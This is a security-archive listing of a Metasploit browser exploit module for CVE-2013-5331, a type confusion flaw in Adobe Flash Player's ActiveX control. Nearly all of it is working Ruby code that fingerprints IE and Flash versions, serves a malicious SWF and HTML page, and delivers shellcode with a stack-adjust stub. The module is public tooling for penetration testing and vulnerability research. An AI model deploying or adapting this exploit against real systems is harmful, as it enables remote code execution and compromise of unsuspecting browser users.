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Adobe Flash Player Type Confusion Remote Code Execution

Adobe Flash Player Type Confusion Remote Code Execution
Posted Apr 29, 2014
Authored by bannedit, juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits a type confusion vulnerability found in the ActiveX component of Adobe Flash Player. This vulnerability was found exploited in the wild in November 2013. This Metasploit module has been tested successfully on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170 over Windows XP SP3 and Windows 7 SP1.

tags | exploit, activex
systems | windows, xp, 7
advisories | CVE-2013-5331
MD5 | 711da7fb2ca640490f5dd63b766555f1

Adobe Flash Player Type Confusion Remote Code Execution

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player Type Confusion Remote Code Execution",
'Description' => %q{
This module exploits a type confusion vulnerability found in the ActiveX
component of Adobe Flash Player. This vulnerability was found exploited
in the wild in November 2013. This module has been tested successfully
on IE 6 to IE 10 with Flash 11.7, 11.8 and 11.9 prior to 11.9.900.170
over Windows XP SP3 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'bannedit', # Exploit in the wild discoverer, analysis and reporting
'juan vazquez' # msf module
],
'References' =>
[
[ 'CVE', '2013-5331' ],
[ 'OSVDB', '100774'],
[ 'BID', '64199'],
[ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb13-28.html' ],
[ 'URL', 'http://blog.malwaretracker.com/2014/01/cve-2013-5331-evaded-av-by-using.html' ]
],
'Payload' =>
{
'Space' => 2000,
'DisableNops' => true,
'PrependEncoder' => stack_adjust
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
'Retries' => false,
'EXITFUNC' => "thread"
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
:method => "LoadMovie",
:os_name => Msf::OperatingSystems::WINDOWS,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^11\.[7|8|9]/ && ver < '11.9.900.170' }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Dec 10 2013",
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf
super
end

def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset

adjust
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/
print_status("Sending SWF...")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
return
end

print_status("Sending HTML...")
tag = retrieve_tag(cli, request)
profile = get_profile(tag)
profile[:tried] = false unless profile.nil? # to allow request the swf
print_status("showme the money")
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
flash_payload = ""
get_payload(cli,target_info).unpack("V*").each do |i|
flash_payload << "0x#{i.to_s(16)},"
end
flash_payload.gsub!(/,$/, "")


html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=flash_payload%>" />
<param name="Play" value="true" />
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-5331", "Exploit.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end

end

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